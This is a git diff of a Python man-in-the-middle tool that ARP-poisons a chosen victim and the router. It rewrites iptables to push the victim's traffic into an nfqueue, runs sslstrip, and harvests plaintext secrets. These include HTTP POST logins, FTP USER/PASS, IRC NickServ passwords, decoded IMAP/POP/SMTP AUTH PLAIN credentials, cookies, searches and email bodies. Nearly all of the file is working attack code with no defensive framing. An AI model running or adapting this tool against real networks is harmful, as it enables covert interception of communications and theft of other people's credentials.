diff --git a/README.md b/README.md index 3848f11..f32a1a5 100644 --- a/README.md +++ b/README.md @@ -52,3 +52,5 @@ To do: integrate this project with wifite? use twisted so we can use nfqueue as pkt input + + add ability to read from pcap diff --git a/intercept.py b/intercept.py index cb7727b..cfcfaba 100755 --- a/intercept.py +++ b/intercept.py @@ -14,6 +14,10 @@ from os import geteuid, devnull import signal from base64 import b64decode from subprocess import * +from twisted.internet import reactor +from twisted.internet.interfaces import IReadDescriptor +from twisted.internet.protocol import Protocol, Factory +import nfqueue #Create the arguments parser = argparse.ArgumentParser() @@ -71,184 +75,208 @@ class Parser(): POPdest = '' Cookies = [] IRCnick = '' + oldack = '' + oldpkt = '' - def start(self, pkt): + def start(self, payload): + try: + data = payload.get_data() + pkt = Ether(data)/IP(data) + except: + return if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP): dport = pkt[TCP].dport sport = pkt[TCP].sport - pktload = repr(pkt[Raw].load) - pktload = pktload[1:-1] ack = pkt[TCP].ack + # These MAC vars are always inaccurate! Why!? I could prevent the script from double outputting some things (outgoing email) if these were accurate + # They're accurate with sniff(), just not NFQUEUE MAC_src = pkt[Ether].src MAC_dst = pkt[Ether].dst IP_dst = pkt[IP].dst - mail_ports = [143, 110, 26] - if dport in mail_ports or sport in mail_ports: - self.mailspy(pktload, dport, sport, MAC_src, MAC_dst, IP_dst) - if MAC_src == victimMAC: - if dport == 6667 or sport == 6667: - self.irc(pktload, dport, sport, MAC_src) + IP_src = pkt[IP].src + # Can't use repr if we're gzip deflating which will be necessary when code injection is added + load = repr(pkt[Raw].load)[1:-1] + # Catch fragmented packets only if they're being sent from the victim to a web server + if dport == 80: + if ack == self.oldack: + self.oldpkt = self.oldpkt+load + load = self.oldpkt else: - self.URL(pktload, ack, dport, sport) + self.oldpkt = load + self.oldack = ack + mail_ports = [25, 26, 110, 143] + if dport in mail_ports or sport in mail_ports: + self.mailspy(load, dport, sport, MAC_dst, IP_dst, IP_src) + if dport == 6667 or sport == 6667: + self.irc(load, dport, sport, IP_src) + if dport == 21 or sport == 21: + self.ftp(load, IP_dst, IP_src) + if dport == 80 or sport == 80: + self.URL(load, ack, dport, sport) - def URL(self, pktload, ack, dport, sport): - global oldack, oldload, oldurl, oldhost, oldhttp, combined_load + def URL(self, load, ack, dport, sport): +# global oldack, oldload, oldurl, oldhost, oldhttp, combined_load host = None get = None post = None url = None - #Split the packet between headers and body and grab the URL from the headers - #If you see any other login variable names, tell me and I'll add em in here + try: + headers, body = load.split(r"\r\n\r\n", 1) + except: + headers = load + body = '' + + # Split the packet between headers and body and grab the URL from the headers + # If you see any other login/pw variable names, tell me and I'll add em in here + # As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less and it's easy to tell what's a real hit vs false positive user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&|;]*)' - try: - headers, body = pktload.split(r"\r\n\r\n") - except: - headers = pktload - body = '' header_lines = headers.split(r"\r\n") for l in header_lines: searchHost = re.search('[Hh]ost: ', l) searchGet = re.search('GET /', l) searchPost = re.search('POST /', l) if searchHost: - host = l.split(' ') - host = host[1] + host = l.split('Host: ')[1] + if not host: + host = l.split('host: ')[1] if searchGet: - get = l.split(' ') - get = get[1] + get = l.split('GET ')[1].split(' ')[0] if searchPost: - post = l.split(' ') - post = post[1] + post = l.split(' ')[1].split(' ')[0] if host and get: url = host+get if host and post: url = host+post - #Catch fragmented packet passwords, FTP passwords, cookies - if args.post: - #Catch fragmented packet passwords - if oldack == ack and oldload and oldurl and oldhttp == 'post': - combined_load = oldload + pktload - try: - headers, body = combined_load.split(r"\r\n\r\n") - except: - headers = combined_load - body = '' - header_lines = headers.split(r"\r\n") - if body != '': - print B+'[+] fragmented POST: '+W+oldurl+B+' HTTP POST load: '+body+W - username = re.findall(user_regex, body) - password = re.findall(pw_regex, body) - self.user_pass(username, password) - self.cookies(oldhost, header_lines) - #Catch FTP passwords - if dport == 21: - pktload = pktload.replace(r"\r\n", "") - if 'USER ' in pktload: - print R+'[!] FTP '+pktload+W + # Catch search terms, print url, print post loads + if url != None: + #Print the URL + if args.urlspy: + d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js'] + if any(i in url for i in d): + return + if len(url) > 146: + print '[*] '+url[:145] + else: + print '[*] '+url + if args.verboseURL: + print '[*] '+url + + # Catch search terms + # As it stands now this has a moderately high false positive rate mostly due to the very simple ?s= and ?q= vars + # I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches + searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url) + if searched: + searched = searched.group(3) + if 'select%20*%20from' in searched: + pass + else: + searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$') + print T+'[+] Searched '+W+host+T+': '+searched+W if args.write: - logger.write('FTP'+pktload+'\n') - if 'PASS ' in pktload: - print R+'[!] FTP '+pktload+W - if args.write: - logger.write('[!] FTP'+pktload+'\n') + logger.write('[+] Searched %s for: ' % host+searched+'\n') - #Catch search terms, print url, print post loads - if url != None: - #Print the URL - if args.urlspy: - d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js'] - if any(i in url for i in d): - return - if len(url) > 150: - print url[:149] - else: - print url - if args.verboseURL: - print url + #Print POST load + if post: + if 'ocsp' in url: + print B+'[+] POST: '+W+url + elif body != '': + print B+'[+] POST: '+W+url+B+' HTTP POST load:',body+W + username = re.findall(user_regex, body) + password = re.findall(pw_regex, body) + self.user_pass(username, password) + self.cookies(host, header_lines) - #Catch search terms - searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords|command)=([^&][^&]*))', url) - if searched: - searched = searched.group(3) - if 'select%20*%20from' in searched: - pass - else: - searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$') - print T+'[+] Searched '+W+host+T+': '+searched+W - if args.write: - logger.write('[+] Searched %s for: ' % host+searched+'\n') - - #Print POST load - if post: - if 'ocsp' in url: - print B+'[+] POST: '+W+url - elif body != '': - print B+'[+] POST: '+W+url+B+' HTTP POST load:',body+W - username = re.findall(user_regex, body) - password = re.findall(pw_regex, body) - self.user_pass(username, password) - self.cookies(host, header_lines) - oldhttp = 'post' - - oldack = ack - oldurl = url - oldhost = host - if oldack != ack: - oldhttp = None - combined_load = None - else: - oldload = pktload +# oldack = ack +# oldurl = url +# oldhost = host +# if oldack != ack: +# oldhttp = None +# combined_load = None +# else: +# oldload = load host = None get = None post = None url = None - def irc(self, pktload, dport, sport, MAC_src): - if MAC_src == victimMAC: - pktload = pktload.split(r"\r\n") + def ftp(self, load, IP_dst, IP_src): + load = load.replace(r"\r\n", "") + if 'USER ' in load: + load = 'USER'+load.split('USER')[1] + print R+'[!] FTP '+load+' SERVER: '+IP_dst+W + if args.write: + logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') + if 'PASS ' in load: + load = 'PASS'+load.split('PASS')[1] + print R+'[!] FTP '+load+' SERVER: '+IP_dst+W + if args.write: + logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') + if 'failed' in load: + load = '530'+load.split('530')[1] + print R+'[*] FTP '+load+W + if args.write: + logger.write('[*] FTP '+load+'\n') + + def irc(self, load, dport, sport, IP_src): + load = load.split(r"\r\n") if args.post: - if 'NICK ' in pktload[0]: - self.IRCnick = pktload[0].replace('NICK ', '') - server = pktload[1].replace('USER user user ', '').replace(' :user', '') - print C+'[!] IRC username: '+self.IRCnick+' '+server+W - if args.write: - logger.write('[!] IRC username: '+self.IRCnick+' '+server+'\n') - if 'NS IDENTIFY ' in pktload[0]: - ircpass = pktload[0].replace('NS IDENTIFY ', '') - print C+'[!] IRC password: '+ircpass+W - if args.write: - logger.write('[!] IRC password: '+ircpass+'\n') - if 'JOIN ' in pktload[0]: - join = pktload[0].replace('JOIN ', '') - print C+'[+] IRC joined: '+join+W - if args.write: - logger.write('[+] IRC joined: '+join+'\n') - if 'PART ' in pktload[0]: - part = pktload[0].replace('PART ', '') - print C+'[+] IRC part: '+part+W - if args.write: - logger.write('[+] IRC parted: '+part+'\n') - if 'QUIT ' in pktload[0]: - quit = pktload[0].replace('QUIT ', '') - print C+'[+] IRC quit: '+quit+W - if args.write: - logger.write('[+] IRC quit: '+quit+'\n') - if 'PRIVMSG ' in pktload[0]: - channel = pktload[0].split(':')[0].replace('PRIVMSG ', '').replace(' ', '') - ircmsg = pktload[0].replace('PRIVMSG ', '').replace(channel, '')[2:] - if self.IRCnick != '': - print C+'[+] IRC '+self.IRCnick+' to '+W+channel+C+': '+ircmsg+W + if IP_src == victimIP: + if 'NICK ' in load[0]: + self.IRCnick = load[0].split('NICK ')[1] + server = load[1].replace('USER user user ', '').replace(' :user', '') + print R+'[!] IRC username:'+self.IRCnick+' on '+server+W if args.write: - logger.write('[+] IRC '+self.IRCnick+' to '+channel+':'+ircmsg+'\n') - else: - print C+'[+] IRC msg to '+W+channel+C+':'+ircmsg+W + logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n') + if 'NS IDENTIFY ' in load[0]: + ircpass = load[0].split('NS IDENTIFY ')[1] + print R+'[!] IRC password: '+ircpass+W if args.write: - logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n') + logger.write('[!] IRC password: '+ircpass+'\n') + if 'JOIN ' in load[0]: + join = load[0].split('JOIN ')[1] + print C+'[+] IRC joined: '+W+join + if args.write: + logger.write('[+] IRC joined: '+join+'\n') + if 'PART ' in load[0]: + part = load[0].split('PART ')[1] + print C+'[+] IRC left: '+W+part + if args.write: + logger.write('[+] IRC left: '+part+'\n') + if 'QUIT ' in load[0]: + quit = load[0].split('QUIT :')[1] + print C+'[+] IRC quit: '+W+quit + if args.write: + logger.write('[+] IRC quit: '+quit+'\n') + # Catch messages from the victim to an IRC channel + if 'PRIVMSG ' in load[0]: + if IP_src == victimIP: + load = load[0].split('PRIVMSG ')[1] + channel = load.split(' :', 1)[0] + ircmsg = load.split(' :', 1)[1] + if self.IRCnick != '': + print C+'[+] IRC '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W + if args.write: + logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n') + else: + print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W + if args.write: + logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n') + # Catch messages from others that tag the victim's nick + elif self.IRCnick in load[0] and self.IRCnick != '': + print 'self.ircnick is in load' + sender_nick = load[0].split(':', 1)[1].split('!', 1)[0] + try: + load = load[0].split('PRIVMSG ')[1].split(' :', 1) + channel = load[0] + ircmsg = load[1] + print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W + except: + return def cookies(self, host, header_lines): for x in header_lines: @@ -276,57 +304,60 @@ class Parser(): if args.write: logger.write('[!] Password: '+p[1]+'\n') - def mailspy(self, pktload, dport, sport, MAC_src, MAC_dst, IP_dst): + def mailspy(self, load, dport, sport, MAC_dst, IP_dst, IP_src): try: - headers, body = pktload.split(r"\r\n\r\n", 1) + headers, body = load.split(r"\r\n\r\n", 1) except: - headers = pktload + headers = load body = '' header_lines = headers.split(r"\r\n") email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: '] # Find passwords - if dport in [110, 143, 26]: - self.passwords(MAC_src, IP_dst, pktload, dport) + if dport in [25, 26, 110, 143]: + self.passwords(IP_src, load, dport, IP_dst) # Find outgoing messages - if dport == 26: - self.outgoing(pktload, body, header_lines, email_headers, MAC_src) + if dport == 26 or dport == 25: + self.outgoing(load, body, header_lines, email_headers, IP_src) # Find incoming messages - if MAC_dst == victimMAC: - if sport in [110, 143]: - self.incoming(headers, body, header_lines, email_headers) +# if IP_dst == victimIP: + if sport in [110, 143]: + self.incoming(headers, body, header_lines, email_headers) - def passwords(self, MAC_src, IP_dst, pktload, dport): - if dport == 143 and MAC_src == victimMAC: + def passwords(self, IP_src, load, dport, IP_dst): + # Get rid of all the hex at the beginning of the load + load = load.replace(r'\r\n', '').split(r"\x")[-1][2:] + if dport == 143 and IP_src == victimIP and len(load) > 10: if self.IMAPauth == 1 and self.IMAPdest == IP_dst: - print R+'[!] IMAP user and pass found: '+pktload+W + print R+'[!] IMAP user and pass found: '+load+W if args.write: - logger.write('[!] IMAP user and pass found: '+pktload+'\n') - self.decode(pktload, dport) + logger.write('[!] IMAP user and pass found: '+load+'\n') + self.decode(load, dport) self.IMAPauth = 0 self.IMAPdest = '' - if "authenticate plain" in pktload: + if "authenticate plain" in load: self.IMAPauth = 1 self.IMAPdest = IP_dst - if dport == 110 and MAC_src == victimMAC: - if self.POPauth == 1 and self.POPdest == IP_dst: - print R+'[!] POP user and pass found: '+pktload+W + if dport == 110 and IP_src == victimIP: + if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10: + print R+'[!] POP user and pass found: '+load+W if args.write: - logger.write('[!] POP user and pass found: '+pktload+'\n') - self.decode(pktload, dport) + logger.write('[!] POP user and pass found: '+load+'\n') + self.decode(load, dport) self.POPauth = 0 self.POPdest = '' - if 'AUTH PLAIN' in pktload: + if 'AUTH PLAIN' in load: self.POPauth = 1 self.POPdest = IP_dst if dport == 26: - if 'AUTH PLAIN ' in pktload: - print R+'[!] POP authentication found: '+pktload+W + if 'AUTH PLAIN ' in load: + print R+'[!] POP authentication found: '+load+W if args.write: - logger.write('[!] POP authentication found: '+pktload+'\n') - self.decode(pktload, dport) + logger.write('[!] POP authentication found: '+load+'\n') + self.decode(load, dport) - def outgoing(self, headers, body, header_lines, email_headers, MAC_src): - if MAC_src == victimMAC: + # This doubles up the outgoing message for some reason. Fix. + def outgoing(self, headers, body, header_lines, email_headers, IP_src): + if IP_src == victimIP: if 'Message-ID' in headers: for l in header_lines: for x in email_headers: @@ -342,63 +373,110 @@ class Parser(): logger.write(' '+x+'\n') self.headersFound = [] if body != '': + try: + body = body.split(r'\r\n\x')[0] + except: + pass print O+' Message:',body+W if args.write: logger.write(' Message:'+body+'\n') def incoming(self, headers, body, header_lines, email_headers): - if 'FETCH' not in headers: - for l in header_lines: - for x in email_headers: - if x in l: - self.headersFound.append(l) - if len(self.headersFound) > 3: - print O+'[!] INCOMING MESSAGE'+W + for l in header_lines: + for x in email_headers: + if x in l: + self.headersFound.append(l) + if body != '': + try: + beginning = body.split(r"\r\n")[0] + message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1) + message = message.split(beginning)[0][1:] + except: + print O+' Couldn\'t format message body:', body+W + if len(self.headersFound) > 3 and message != '': + print O+'[!] INCOMING MESSAGE'+W + if args.write: + logger.write('[!] INCOMING MESSAGE\n') + for x in self.headersFound: + print O+' '+x+W if args.write: - logger.write('[!] INCOMING MESSAGE\n') - for x in self.headersFound: - print O+' '+x+W - if args.write: - logger.write(' '+x+'\n') - self.headersFound = [] - if body != '': - try: - beginning = body.split(r"\r\n")[0] - message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1) - message = message.split(beginning)[0] - print O+' Message:', message+W - if args.write: - logger.write(' Message:'+message+'\n') - except: - print O+' Couldn\'t format message body:', body+W + logger.write(' '+x+'\n') + print O+' Message:', message+W + if args.write: + logger.write(' Message:'+message+'\n') + self.headersFound = [] def decode(self, load, dport): - if dport == 26: + if dport == 26 or dport == 25: try: b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "") - decoded = repr(b64decode(b64str)).replace("'", "") - decoded = decoded.replace(r'\x00', ' ') - print R+'[!] Decoded:'+decoded+W - if args.write: - logger.write('[!] Decoded:'+decoded+'\n') + decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') + # Sometimes the hex at the beginning of the load goes 2 chars past the last \x and sometimes 3 or 4 + if '@' in decoded: + print R+'[!] Decoded:'+decoded+W + if args.write: + logger.write('[!] Decoded:'+decoded+'\n') + else: + b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[1:] + decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') + if '@' in decoded: + print R+'[!] Decoded:'+decoded+W + if args.write: + logger.write('[!] Decoded:'+decoded+'\n') + else: + b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[2:] + decoded = repr(b64decode(b64str)).replace("'", "").replace(r'\x00', ' ') + if '@' in decoded: + print R+'[!] Decoded:'+decoded+W + if args.write: + logger.write('[!] Decoded:'+decoded+'\n') except: pass else: try: - b64str = load.replace(r"\r\n", "") - decoded = repr(b64decode(b64str)).replace("'", "") - decoded = decoded.replace(r'\x00', ' ') - print R+'[!] Decoded:',decoded+W - if args.write: - logger.write('[!] Decoded:'+decoded+'\n') + b64str = load + decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') + if '@' in decoded: + print R+'[!] Decoded:',decoded+W + if args.write: + logger.write('[!] Decoded:'+decoded+'\n') + else: + b64str = load[1:] + decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') + if '@' in decoded: + print R+'[!] Decoded:',decoded+W + if args.write: + logger.write('[!] Decoded:'+decoded+'\n') + else: + b64str = load[2:] + decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ') + if '@' in decoded: + print R+'[!] Decoded:',decoded+W + if args.write: + logger.write('[!] Decoded:'+decoded+'\n') except: pass -class Threads(): +#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor +class Queued(object): + def __init__(self): + self.q = nfqueue.queue() + self.q.set_callback(Parser().start) + self.q.fast_open(0, socket.AF_INET) + self.q.set_queue_maxlen(5000) + reactor.addReader(self) + self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) + print '[+] Queue started; waiting for data\n' + def fileno(self): + return self.q.get_fd() + def doRead(self): + self.q.process_pending(20) + def connectionLost(self, reason): + reactor.removeReader(self) + def logPrefix(self): + return 'queued' - def urlspy(self, victimIP, interface): - sniff_filter = 'port 80 or port 21 or port 143 or port 110 or port 26 or port 6667' - sniff(store=0, filter=sniff_filter, prn=Parser().start, iface=interface) +class Threads(): def dnsspoof(self, victimIP): while 1: @@ -412,8 +490,7 @@ class Threads(): def sslstrip(self, DN): print 'Redirecting traffic to port 10000 and starting sslstrip\n' - iptables = ['iptables', '-t', 'nat', '-A', 'PREROUTING', '-p', 'tcp', '--destination-port', '80', '-j', 'REDIRECT', '--to-port', '10000'] - Popen(iptables, stdout=PIPE, stderr=DN) + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000') xterm = ['xterm', '-e', 'sslstrip', '-f', '-w', 'sslstrip.txt'] Popen(xterm, stdout=PIPE, stderr=DN) @@ -421,11 +498,13 @@ class Threads(): xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface] Popen(xterm, stdout=PIPE, stderr=DN) - def start_threads(self, victimIP, interface, DN): - if args.urlspy or args.verboseURL or args.post: - u = Thread(target=self.urlspy, args=(victimIP, interface)) - u.daemon = True #Make sure the thread closes with the main program on Ctrl-C - u.start() + def start_threads(self, victimIP, interface, DN):#, victimMAC, routerMAC, routerIP): + + #start twisted reactor in thread + rt = Thread(target=reactor.run, args=(False,)) #reactor must be started without signal handling since it's not in the main thread + rt.daemon = True + rt.start() + if args.driftnet: dr = Thread(target=self.driftnet, args=(interface, DN)) dr.daemon = True @@ -449,23 +528,55 @@ def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP): print "[+] Client IP: " + victimIP #Enable IP forwarding and flush possibly conflicting iptables rules -def ip_flush_forward(DN): +def setup(DN, victimMAC): ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN) if ipfwd.communicate()[0] != '1\n': ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') ipf.write('1\n') ipf.close() print '[+] Enabled IP forwarding' - Popen(['iptables', '-F'], stdout=PIPE, stderr=DN) - Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN) - Popen(['iptables', '-X'], stdout=PIPE, stderr=DN) - Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN) - print '[+] Flushed the firewall\n' + os.system('iptables -F') + os.system('iptables -X') + os.system('iptables -t nat -F') + os.system('iptables -t nat -X') + print '[+] Flushed the firewall' + # PREROUTING is a rule that will be needed to be added when code injection is added to this script +# os.system('iptables -t nat -A PREROUTING -p tcp -s %s -j NFQUEUE' % victimIP) +# os.system('iptables -t nat -A PREROUTING -p tcp -d %s -j NFQUEUE' % victimIP) + # Just throw packets that are from and to the victim into the reactor + os.system('iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) + os.system('iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) + os.system('iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) + os.system('iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP) + print '[+] Forwarded traffic to the queue' def main(): #For use in URL_cb, mailspy respectively global victimMAC, victimIP +# Cleans up if Ctrl-C is caught + def signal_handler(signal, frame): + print 'learing iptables, sending healing packets, and turning off IP forwarding...' + if args.write: + logger.close() + if args.dnsspoof: + q.unbind(socket.AF_INET) + q.close() + ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') + ipf.write('0\n') + ipf.close() + if not dnsIP == routerIP: + Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) + Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) + os.system('iptables -F') + os.system('iptables -X') + os.system('iptables -t nat -F') + os.system('iptables -t nat -X') + Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) + Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) + exit(0) + signal.signal(signal.SIGINT, signal_handler) + #Check if root if not geteuid()==0: exit("\nPlease run as root\n") @@ -494,6 +605,7 @@ def main(): interface = routerRE.group(3) print "[+] Checking the DHCP and DNS server addresses..." + # DHCP is a pain in the ass to craft dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/ IP(src="0.0.0.0",dst="255.255.255.255")/ UDP(sport=68,dport=67)/ @@ -524,6 +636,7 @@ def main(): DHCPsrvr = routerIP local_domain = 'None' + # Print the vars print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP) try: routerMAC = Spoof().originalMAC(routerIP) @@ -535,49 +648,94 @@ def main(): print "[+] Victim MAC: " + victimMAC except: exit("[!] Could not get victim MAC address") - if not dnsIP == routerIP: + if dnsIP != routerIP: try: dnsMAC = Spoof().originalMAC(dnsIP) print "[+] DNS server MAC: " + dnsMAC except: print "[!] Could not get DNS server MAC address" - exit("[!] Could not get victim MAC address") - - ip_flush_forward(DN) - - Threads().start_threads(victimIP, interface, DN) - - #Cleans up if Ctrl-C is caught - def signal_handler(signal, frame): - print 'learing iptables, sending healing packets, and turning off IP forwarding...' - if args.write: - logger.close() - if args.dnsspoof: - q.unbind(socket.AF_INET) - q.close() - ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') - ipf.write('0\n') - ipf.close() - if not dnsIP == routerIP: - Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) - Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) - Popen(['iptables', '-F'], stdout=PIPE, stderr=DN) - Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN) - Popen(['iptables', '-X'], stdout=PIPE, stderr=DN) - Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN) - Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) - Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) - exit(0) - signal.signal(signal.SIGINT, signal_handler) + if dnsIP == routerIP: + dnsMAC = routerMAC + setup(DN, victimMAC) + Queued() + th = Threads() + th.start_threads(victimIP, interface, DN) while 1: - - Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router if not dnsIP == routerIP: Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC) + Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) time.sleep(1.5) if __name__ == "__main__": main() + +# except select.error as ex: +# if ex[0] == 4: +# pass +# else: +# raise + +# Threads().start_threads(victimIP, interface, DN)#, victimMAC, routerMAC, routerIP) +# while 1: +# try: +# #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router +# if not dnsIP == routerIP: +# Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC) +# Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) +# time.sleep(1.5) +# except KeyboardInterrupt: +# print 'learing iptables, sending healing packets, and turning off IP forwarding...' +# if args.write: +# logger.close() +# if args.dnsspoof: +# q.unbind(socket.AF_INET) +# q.close() +# ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') +# ipf.write('0\n') +# ipf.close() +# if dnsIP != routerIP: +# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) +# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) +# Popen(['iptables', '-F'], stdout=PIPE, stderr=DN) +# Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN) +# Popen(['iptables', '-X'], stdout=PIPE, stderr=DN) +# Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN) +# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) +# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) +# exit(0) +# while 1: +# continue +# reactor.run() + +# while 1: +# try: +# #If DNS server is different from the router then we must spoof ourselves as the DNS server as well as the router +# if not dnsIP == routerIP: +# Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC) +# Spoof().poison(routerIP, victimIP, routerMAC, victimMAC) +# time.sleep(1.5) +# except KeyboardInterrupt: +# print 'learing iptables, sending healing packets, and turning off IP forwarding...' +# if args.write: +# logger.close() +# if args.dnsspoof: +# q.unbind(socket.AF_INET) +# q.close() +# ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+') +# ipf.write('0\n') +# ipf.close() +# if dnsIP != routerIP: +# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) +# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC) +# Popen(['iptables', '-F'], stdout=PIPE, stderr=DN) +# Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN) +# Popen(['iptables', '-X'], stdout=PIPE, stderr=DN) +# Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN) +# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) +# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC) +# exit(0) + +